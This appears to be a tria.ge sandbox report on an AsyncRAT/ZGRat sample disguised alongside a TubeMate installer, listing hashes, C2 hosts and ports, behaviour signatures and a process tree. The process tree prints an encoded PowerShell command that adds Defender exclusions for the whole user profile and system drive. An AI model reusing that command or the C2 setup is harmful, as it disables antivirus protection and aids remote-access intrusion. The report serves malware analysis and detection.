Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    144s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/05/2024, 01:05

General

  • Target

    3644efb050a5e1733ca9dc4f6a32fba33883497c41121cf5a7de4837236690e0.exe

  • Size

    48.5MB

  • MD5

    645793d9e9330d225a3b3dfd20e20064

  • SHA1

    4344014c90b9a3ec79750998cdc5b68df983cd59

  • SHA256

    3644efb050a5e1733ca9dc4f6a32fba33883497c41121cf5a7de4837236690e0

  • SHA512

    c8957f5fdf202f73e68d5e2397799f6f420b123df91743330e4d2495675c67e4d74a10e0030fb1c4d314dd1173a3b3c905db752f5d87600e8a8dcc18efb5297b

  • SSDEEP

    1572864:Pwc6WzPrjxZFn1D0mNt1XhIEuX6LwkLXZwy:Z7BZd3f8uw

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

5512.sytes.net:6606

5512.sytes.net:7707

5512.sytes.net:8808

95.211.208.153:6606

95.211.208.153:7707

95.211.208.153:8808

Mutex

Llg9a02PERRO

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect ZGRat V1 34 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Detects file containing reversed ASEP Autorun registry keys 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3644efb050a5e1733ca9dc4f6a32fba33883497c41121cf5a7de4837236690e0.exe
    "C:\Users\Admin\AppData\Local\Temp\3644efb050a5e1733ca9dc4f6a32fba33883497c41121cf5a7de4837236690e0.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2284
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAbgBrACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHcAZABxACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG0AeQByACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAdAB4ACMAPgA="
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3168
    • C:\Users\Admin\AppData\Local\Dfzxuwcml.exe
      "C:\Users\Admin\AppData\Local\Dfzxuwcml.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5032
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1804
    • C:\Users\Admin\AppData\Local\Temp\windows-tubemate-setup.exe
      "C:\Users\Admin\AppData\Local\Temp\windows-tubemate-setup.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:832
      • C:\Users\Admin\AppData\Local\Temp\is-CHGEV.tmp\windows-tubemate-setup.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-CHGEV.tmp\windows-tubemate-setup.tmp" /SL5="$110068,48138664,121344,C:\Users\Admin\AppData\Local\Temp\windows-tubemate-setup.exe"
        3⤵
        • Executes dropped EXE
        PID:3624

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Dfzxuwcml.exe

    Filesize

    2.2MB

    MD5

    577b8f4cd65df6e3cd42d7d37c7917cf

    SHA1

    5033814e5aade04682bf7cb7fca3e32c46c5512a

    SHA256

    d4360ef0464f7620fe0e3d5185adcdc0781aacfe23510d2c6c2e85c1095c8948

    SHA512

    a42dab76abe41e53d7eee1ff3cec3092b26e1a05bdd6c91e8f12e35f6f14fc36df5ef918d0a2818d9f549db1e8ace169ff8ed3f441253a9a27b89c1ec816ff9d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xgzyo4ns.hxc.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\is-CHGEV.tmp\windows-tubemate-setup.tmp

    Filesize

    1.1MB

    MD5

    34acc2bdb45a9c436181426828c4cb49

    SHA1

    5adaa1ac822e6128b8d4b59a54d19901880452ae

    SHA256

    9c81817acd4982632d8c7f1df3898fca1477577738184265d735f49fc5480f07

    SHA512

    134ff4022571efd46f7a62e99b857ebe834e9916c786345908010f9e1fb90be226b740ddee16ae9290fe45c86be7238c4555e422abe66a461d11545e19734beb

  • C:\Users\Admin\AppData\Local\Temp\windows-tubemate-setup.exe

    Filesize

    46.3MB

    MD5

    91d80adacf5e1e6686c209315197e4d1

    SHA1

    381a7ae480e94829d1173593af2eec981d47863a

    SHA256

    edf5656d1d254315ebe90b6365ee72f422cf64248da8cf885a9aa9dade46b824

    SHA512

    9624bf5188c675a25635f23dfe38c886e1cd2be5f69f7bec360ffe8d467c5ecff2836906fe1a129b96a3ea26c91b9fc6149002af5c9dd62c603cbe9f5d2e121a

  • memory/1804-4973-0x0000000005250000-0x00000000052EC000-memory.dmp

    Filesize

    624KB

  • memory/1804-4969-0x0000000000400000-0x0000000000412000-memory.dmp

    Filesize

    72KB

  • memory/3168-453-0x0000000006FF0000-0x0000000007004000-memory.dmp

    Filesize

    80KB

  • memory/3168-15-0x0000000004BB0000-0x00000000051D8000-memory.dmp

    Filesize

    6.2MB

  • memory/3168-14-0x00000000044A0000-0x00000000044D6000-memory.dmp

    Filesize

    216KB

  • memory/3168-18-0x00000000737E0000-0x0000000073F90000-memory.dmp

    Filesize

    7.7MB

  • memory/3168-3150-0x00000000737E0000-0x0000000073F90000-memory.dmp

    Filesize

    7.7MB

  • memory/3168-1037-0x00000000070E0000-0x00000000070E8000-memory.dmp

    Filesize

    32KB

  • memory/3168-817-0x00000000070F0000-0x000000000710A000-memory.dmp

    Filesize

    104KB

  • memory/3168-16-0x00000000737E0000-0x0000000073F90000-memory.dmp

    Filesize

    7.7MB

  • memory/3168-164-0x0000000007030000-0x00000000070C6000-memory.dmp

    Filesize

    600KB

  • memory/3168-167-0x0000000006FE0000-0x0000000006FEE000-memory.dmp

    Filesize

    56KB

  • memory/3168-28-0x0000000005310000-0x0000000005332000-memory.dmp

    Filesize

    136KB

  • memory/3168-38-0x00000000053B0000-0x0000000005416000-memory.dmp

    Filesize

    408KB

  • memory/3168-56-0x0000000005600000-0x0000000005954000-memory.dmp

    Filesize

    3.3MB

  • memory/3168-39-0x0000000005490000-0x00000000054F6000-memory.dmp

    Filesize

    408KB

  • memory/3168-11-0x00000000737EE000-0x00000000737EF000-memory.dmp

    Filesize

    4KB

  • memory/3168-146-0x0000000005A70000-0x0000000005A8E000-memory.dmp

    Filesize

    120KB

  • memory/3168-147-0x0000000005B10000-0x0000000005B5C000-memory.dmp

    Filesize

    304KB

  • memory/3168-148-0x0000000006040000-0x0000000006072000-memory.dmp

    Filesize

    200KB

  • memory/3168-149-0x000000006FEE0000-0x000000006FF2C000-memory.dmp

    Filesize

    304KB

  • memory/3168-160-0x0000000006C60000-0x0000000006D03000-memory.dmp

    Filesize

    652KB

  • memory/3168-161-0x00000000073E0000-0x0000000007A5A000-memory.dmp

    Filesize

    6.5MB

  • memory/3168-159-0x0000000006080000-0x000000000609E000-memory.dmp

    Filesize

    120KB

  • memory/3168-162-0x0000000006DA0000-0x0000000006DBA000-memory.dmp

    Filesize

    104KB

  • memory/3168-163-0x0000000006E10000-0x0000000006E1A000-memory.dmp

    Filesize

    40KB

  • memory/3168-165-0x0000000006FA0000-0x0000000006FB1000-memory.dmp

    Filesize

    68KB

  • memory/5032-93-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-51-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-97-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-99-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-101-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-103-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-89-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-87-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-85-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-83-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-81-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-79-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-77-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-68-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-66-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-64-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-62-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-60-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-58-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-52-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-105-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-95-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-48-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-46-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-40-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-91-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-36-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-70-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-34-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-26-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-21-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-24-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-22-0x0000000005290000-0x00000000054AA000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-20-0x00000000055B0000-0x0000000005642000-memory.dmp

    Filesize

    584KB

  • memory/5032-19-0x0000000005A60000-0x0000000006004000-memory.dmp

    Filesize

    5.6MB

  • memory/5032-17-0x0000000005290000-0x00000000054B0000-memory.dmp

    Filesize

    2.1MB

  • memory/5032-4960-0x00000000737E0000-0x0000000073F90000-memory.dmp

    Filesize

    7.7MB

  • memory/5032-4964-0x00000000057E0000-0x000000000582C000-memory.dmp

    Filesize

    304KB

  • memory/5032-4963-0x0000000005740000-0x000000000579C000-memory.dmp

    Filesize

    368KB

  • memory/5032-4965-0x00000000060C0000-0x0000000006114000-memory.dmp

    Filesize

    336KB

  • memory/5032-4970-0x00000000737E0000-0x0000000073F90000-memory.dmp

    Filesize

    7.7MB

  • memory/5032-13-0x00000000737E0000-0x0000000073F90000-memory.dmp

    Filesize

    7.7MB

  • memory/5032-12-0x0000000000800000-0x0000000000A32000-memory.dmp

    Filesize

    2.2MB